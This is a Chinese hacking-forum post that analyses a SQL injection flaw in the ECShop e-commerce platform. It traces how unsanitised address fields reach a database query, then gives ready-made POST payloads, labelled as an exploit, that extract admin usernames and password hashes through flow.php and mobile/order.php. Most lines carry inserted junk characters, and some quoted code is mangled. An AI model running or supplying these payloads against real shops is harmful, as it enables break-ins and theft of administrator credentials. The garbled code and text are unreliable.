找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2572|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* @) e" w( m; g5 R& Q. S
* a2 l6 |2 S# k$ z. |
    漏洞关键文件:
8 N9 g8 ^# B  t
3 Z0 h0 D( x! d( E4 X  T; I    /includes/lib_order.php
8 }6 h( r( n% E+ B6 Q; z+ z& C6 [
5 W( \- V+ O" P    关键函数:
' z6 d3 A! R3 N0 o: F! S% p% ~& o8 V, M

* \/ B2 E3 t1 Q- W1 a. u4 c$ H9 U+ S( n0 Z( g  L/ p
01     function available_shipping_list($region_id_list)
1 D0 M7 T3 _) l
/ g8 T8 M# m- @7 r02 {
4 j1 r, l) ]7 N6 }1 A( p  x' ]( e8 Y, b  `
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 7 m6 E% ~/ `: A
/ g; C. |$ D( }0 @- e, Q1 ~3 p
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 7 y) Y3 V6 f+ J! W1 V8 ^. S

7 E, T3 H8 E5 L0 [05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 7 s0 |9 `+ o; l

( b8 z- d% m1 {+ s06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
# }" O1 D2 H. h
9 E) Z& x4 q8 k07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ' |. N# \/ R+ J& j) E' u# b7 v
2 F4 j7 k4 h( Q0 `
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
0 {" b& J3 N$ }* |' _
. D' u7 d% y' p, {+ C2 M* Z09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
% e. ~7 V/ X! E5 ~
) S2 U! D( p; F10   ( {* H/ Y+ e8 T
4 n0 s) u- b/ T% V7 N0 _
11     return $GLOBALS['db']->getAll($sql); 4 ^3 ]4 M  ^) k3 p8 A4 r8 t
1 `" ]' s  {2 K6 |! \
12 } 0 x6 J) X: \3 Q) P
) z0 f$ e$ C* r1 i2 ^% h5 u) k0 K
显然对传入的参数没有任何过滤就带入了查询语句。
. u8 ]* y% W& O& U" M* ? $ K$ T0 g. B& [# q
下面我们追踪这个函数在flow.php中:
, x) t% u* d2 n$ T8 a 第531行:   4 @- c" K( l3 Y7 |$ F

6 F$ b0 r# m4 P4 V% M" t1 $shipping_list     = available_shipping_list($region);
. a& J3 Y8 U; t9 [7 F
) H' X$ \, w% ~) J7 R$ ^1 i
+ u4 \1 F. L6 i3 P
, r8 ~( L4 I2 ~( A& u6 s+ a
( R+ s) Q, t) f- A1 i
! R" Y# J7 s7 @# s9 P0 p再对传入变量进行追踪:8 D' o7 @7 m3 H! t0 [* }

" h9 F. l6 g0 Y6 \1 b2 R7 o第530行:    3 y4 L4 ~7 q: k- _* w1 ^6 b! ~8 N' @
3 b9 T5 W. @9 A* b  m
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); , L# J  k1 ~! Y" L

/ u' R) t$ @) g+ n8 N8 A
1 s' b7 r$ D* m5 |# Z# b% F+ X, G4 A
# q/ ~8 B" Z! k
0 _$ y( ?+ r& j' L3 P
第473行:        
& o; ?1 ?, I/ h
6 {8 ~" R5 J$ p1 $consignee = get_consignee($_SESSION['user_id']); ( J7 J4 U! ]+ Y
) B1 P2 Q, |0 \1 z, O7 }7 G
到了一个关键函数:
: ?/ V" ?. H2 |6 o- w& e' y6 e3 W* _6 f$ j+ [# H+ m4 @- d
/includes/lib_order.php' Z9 w- E6 P, T$ s1 h3 \

. l6 d5 a: j# b4 k / X& ~6 Y6 H" i0 A: m  n7 b; t% s

+ R& c: b+ C3 |! m+ Z3 h4 ?. y
% f& O7 Q, v  A. l" f
6 L( Q6 k% U  Q; e  x9 i& ~+ n1 Z" P01 function get_consignee($user_id) ; E# ?0 d! U5 d" ~

: `% X9 T$ j3 y: s* f$ v5 \' N02 {
$ i& x$ z  h, C' |( d, N/ p
5 G3 H+ a4 T- E* w( U% n7 s% u. b5 t03     if (isset($_SESSION['flow_consignee'])) ' D, W% l# c' j2 H4 r

& _" M- q' }* w  v! a04     { , K! h3 A0 Q4 ~1 {) s' ?/ m$ N
" i% Z/ C: k0 l. r
05         /* 如果存在session,则直接返回session中的收货人信息 */
9 n. n* M1 ~0 u# W( A# [/ W3 `* E5 k% i7 n9 M2 m
06   * \6 L/ \, \& S( S( X' x: A4 q4 F! |

$ ]1 J% n+ [# J, M07         return $_SESSION['flow_consignee']; ) F9 G; o7 Z" M

1 _+ ]  G$ K; O4 H( J$ W08     }
+ r; y2 ~* F  W3 s1 I4 X$ q; o
2 B% _. `: ~% x09     else 1 ~4 ^/ k+ v; s0 d

7 S7 `* b; Z& o/ p: q7 |10     { : Z. R& u$ z( ~# ?8 l! ]/ k
$ M- {- g2 r* @
11         /* 如果不存在,则取得用户的默认收货人信息 */ $ i/ R* X2 z4 }0 X5 k
, b0 y- ^7 e) E
12         $arr = array();
* X4 G, I* t; ?8 ~2 F" B+ r# v1 ^
3 g4 q$ D) a5 @7 r# R) ^13   & G7 ^& M" G$ L

$ a4 h1 ~) t2 W6 X14         if ($user_id > 0) 5 V, [) b3 y' a% Z4 B$ h4 ^  N

1 q; N; V/ W: ]! W# ^; j9 h1 U15         {
" X# e8 N  H8 y5 G. p4 x0 s! @+ w- a4 g/ ^6 f7 r
16             /* 取默认地址 */ 2 D* y# V+ P1 z

9 Y0 |! z0 t; @2 V3 a17             $sql = "SELECT ua.*". + {- ?( G( i4 B6 \
  X5 Z; B! G+ {" M( f5 f& [+ L
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( A: ]" U4 _; m" A$ v: m
6 D3 q6 w. x5 O9 F0 B- C19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; # W! C' d# ]! q
, d; m) T, O2 C; U7 y
20   3 B4 A8 b' F  y  Q1 l# C

5 Z9 I: Q" H: J" M" z3 K. r; \! \21             $arr = $GLOBALS['db']->getRow($sql); + X! H) j" {" ^

" A- s" e: h( M/ G3 x: J: ]" s; V, z* D. d22         } - n: ~, v* w8 Y) g( W4 v+ x5 J
% J7 Z0 P& G; n5 V
23   # ]( b7 [' x, u: z# c
; T" p* E. P- [+ m2 K
24         return $arr;
% @; @" C' p' _2 o& h( B1 n0 W& I
/ ~) I5 G7 M( ]5 Y' L5 Q% P& R25     }
6 q# g# {. _. Y# e( p6 z. |5 l! G- ^4 B2 H1 u* j3 h
26 }
% e! p! f+ V8 S2 Q, b+ n- \# E( v- y0 u# O1 V5 Z9 z
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
; E3 k4 c- U" C6 ?2 ~2 j7 @, ?
/ l  h1 C! o# U. {) @
/ G* I, ?, g! H( R, G* T: W3 Z6 a& J
关键点:( F3 ^5 A% q8 A! W5 \/ p! P

( ~* ]4 B) a$ F7 L第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, ]: C9 Z" i8 @4 z; Z. C" l% Z2 I5 y9 D+ g) [: E
这里对传入参数反转义存入$_SESSION中。/ ^0 O# t# N3 j% r* L: ?3 Q8 k
" s# b0 V/ \# N5 L) b; Q& r
7 x' i  W/ V- {  Y

9 T* {4 F  g, R然后看下:
2 ]; M% }: J& V6 m! y
5 P9 s$ `/ o: q/ ?$ S# j
, B7 C. Z/ R( C" P4 q
! u3 z, e* c% s6 F9 F* C    8 g' O! n- X9 D% F3 r, X7 e
, m7 P* P$ j2 U" }% c4 x. V9 ^( B7 K
01 $consignee = array(
! M/ D1 z  J0 c% ]- S- X" `9 k- K5 y, M7 v, Z& E
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), . c% M3 i' r. ~! z- l" C" U
; E  r+ ^0 X3 F# U. o& D- ?9 Q
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
* W; E) Y6 m- V9 `2 [" W$ E2 \  \. r& M) F
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
# y5 E0 X$ S' ?# _- V
( ]( [9 J/ J# X. x7 a0 }4 T05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
3 m! C5 z, q: c# G6 O8 F0 x/ }' f; {, I" C
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], : c8 l- m; N- W: @. J

2 U1 @' p# l& k7 D07         'district'      => empty($_POST['district'])   ? '' _POST['district'], & @& n8 n; o" x! n. \# U7 ?

5 T. H: |( h1 R08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
$ W, ^  [1 d; u5 C* e/ X2 z" M8 Z/ q; |9 b) d- v$ P) F
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ) ?* c' b/ k- e; ~
2 J; y! _- c" @1 T
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
! _( M7 S' B7 M2 H) {( Z) f
6 F! Z2 V; T. E( z! D11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
2 Z" V/ c6 H: w* T. }, f* |
8 O3 t2 H$ T6 |' q* i12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
' w9 n0 d! C( i# ]5 y& [
5 p7 n4 R) ~# N& C4 F3 Y/ i2 Q% q13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
# p) f( o/ G3 n; y$ v$ G2 @) `% o: d8 h& c' T, ~, S! W3 k7 h, |
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
6 ^& L  `( L( N  E
/ h# B7 L0 @4 Q. z/ I15     );
1 f' C/ x- M; j9 i0 x) r2 }0 u4 V) L
好了注入就这样出现了。
$ J! u5 r' A% Z6 j2 }
+ c+ I, J. E. {==================( |5 @2 m2 V+ S* y6 ?: y& g

6 z( V! O( o: `注入测试:
( H/ P, ~2 p# f8 Y- l9 Z: l! \- i- P- f. C% v' Z
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
# w7 {0 `: o9 m+ q9 T" a( Q' a  `2 C% g0 X
测试程序:ECShop_V2.7.3_UTF8_release1106
! \' c6 ^/ A6 d
  Z; F2 X( N; o- H* V" e $ W% t5 ?( b7 k1 F3 s$ L* j( g

( A9 d) \" }6 k6 G1.首先需要点击一个商品加入购物车
% r% {( a8 k- j8 ]
; [3 E6 G  U* P* p2.注册一个会员帐号
2 \6 Y# k8 p4 a
  p' a4 f9 Y, j0 I- r7 K) o! z! m3.post提交数据
3 a- |7 h1 u  a4 A* D- y3 r8 K" W/ C0 t' g
. Z8 z: ~! O  ]0 p4 q* S8 S# u
* l& S+ x" a. R
1 http://127.0.0.1/ecshop/flow.php
5 I( f. b; u5 Y
* i2 j  L6 c  N$ s8 a( d7 ^; J7 a  t2   
  i6 ~0 o+ U6 z& M' k4 A7 X) y
% |/ q- U9 F( }( K3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : S: I4 ~! a: z: b# e5 a9 }0 f
举一反三,我们根据这个漏洞我们可以继续深入挖掘:  J) G+ h6 v/ s  ]
. K: }0 \3 h* _1 K  [0 i- D
我们搜寻关键函数function available_shipping_list()
' j; ^( y! A0 Z5 S# d- ?3 b8 f
7 w9 C8 q5 S" d' f$ w8 C在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同; t0 s! a4 _9 s' q4 r4 X
0 b. i8 W& k0 ?  C1 L
利用exp:# Z' h- z+ u- e+ y7 S% y

1 v7 G6 L6 W1 _! Q3 J6 B1.点击一个商品,点击购买商标
4 |! f1 w- D+ q+ l+ U% V2 N7 ?8 _0 s1 X
+ ~3 D# A0 e$ `* _2.登录会员帐号9 R' {( U9 J/ r7 k9 O

. F% u0 r2 H; {( i# w3 c9 w; F3.post提交:& m+ F( Y4 l6 H; |+ J
1 z: p1 J& G, Q3 E& O# @; ^
http://127.0.0.1/ecshop/mobile/order.php
( S. ~. L. I; c8 o2 ]
- E, I7 l! A+ ~/ c5 H3 \( r; `/ A
+ e; E: D1 T5 P3 T6 d: d6 p) k3 A9 g; Q: B/ Z% D
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
" @' A% k0 a, e1 X" o/ H9 ~
! }& v4 v. v- @; _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表